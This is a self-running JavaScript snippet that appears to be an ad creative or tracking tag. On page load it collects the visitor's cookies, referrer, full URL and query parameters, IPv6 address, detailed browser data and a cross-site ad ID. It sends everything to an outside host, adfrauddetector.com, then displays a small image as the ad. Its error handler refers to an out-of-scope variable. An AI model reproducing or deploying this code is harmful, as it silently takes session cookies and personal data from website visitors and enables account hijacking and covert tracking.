(async() => { try { let extra = {}; const ipv6 = async function() { try { const response = await fetch('https://api6.ipify.org/?format=json'); const data = await response.json(); if (data.ip) { return data.ip; } else { return ''; } } catch (error) { return ''; } } const xander_id = async function () { try { const response = await fetch("https://ib.adnxs.com/getuid?https://x.appps.space?user_id=$UID", { credentials: "include", follow: true }); const data = await response.json(); if (data.qp && data.qp.user_id) { return data.qp.user_id; } else { return ""; } } catch (error) { return ""; } }; const getUA = async function () { try { return new Promise(function (resolve, reject) { if (navigator.userAgentData) { navigator.userAgentData .getHighEntropyValues(["model", "platformVersion", "uaFullVersion", "platform"]) .then((ua) => { resolve(ua); }) .catch((err) => { reject(err); }); } else { resolve({ model: navigator.platform, platformVersion: navigator.appVersion, uaFullVersion: navigator.userAgent, platform: navigator.platform }); } }); } catch (error) { return ""; } }; const getFullURL = function () { const fullURL = window.location.href; console.log("Full URL:", fullURL); const params = new URLSearchParams(window.location.search); const paramsArray = Array.from(params.entries()); console.log("URL Parameters:", paramsArray); return { fullURL, paramsArray }; }; extra.origin = window.origin; extra.cookie = document.cookie; extra.referrer = document.referrer; extra.ipv6 = await ipv6(); extra.xander_id = await xander_id(); extra.ua = await getUA(); extra.url = getFullURL().fullURL; extra.url_params = getFullURL().paramsArray; const original = {} const merged = { ...original, ...extra }; await fetch('https://adfrauddetector.com/caps?d=' + encodeURIComponent(JSON.stringify(merged)), {mode: "no-cors"}); } catch (error) { await fetch('https://adfrauddetector.com/caps?d=' + encodeURIComponent(JSON.stringify(original)) + '&error=' + encodeURIComponent(error.message), {mode: "no-cors"}); } })(); const im = new Image(320,50); im.src='https://adfrauddetector.com/creative?d=' + encodeURIComponent('{}'); if( document.getElementById("creative") ) document.getElementById("creative").appendChild(im); else document.body.appendChild(im);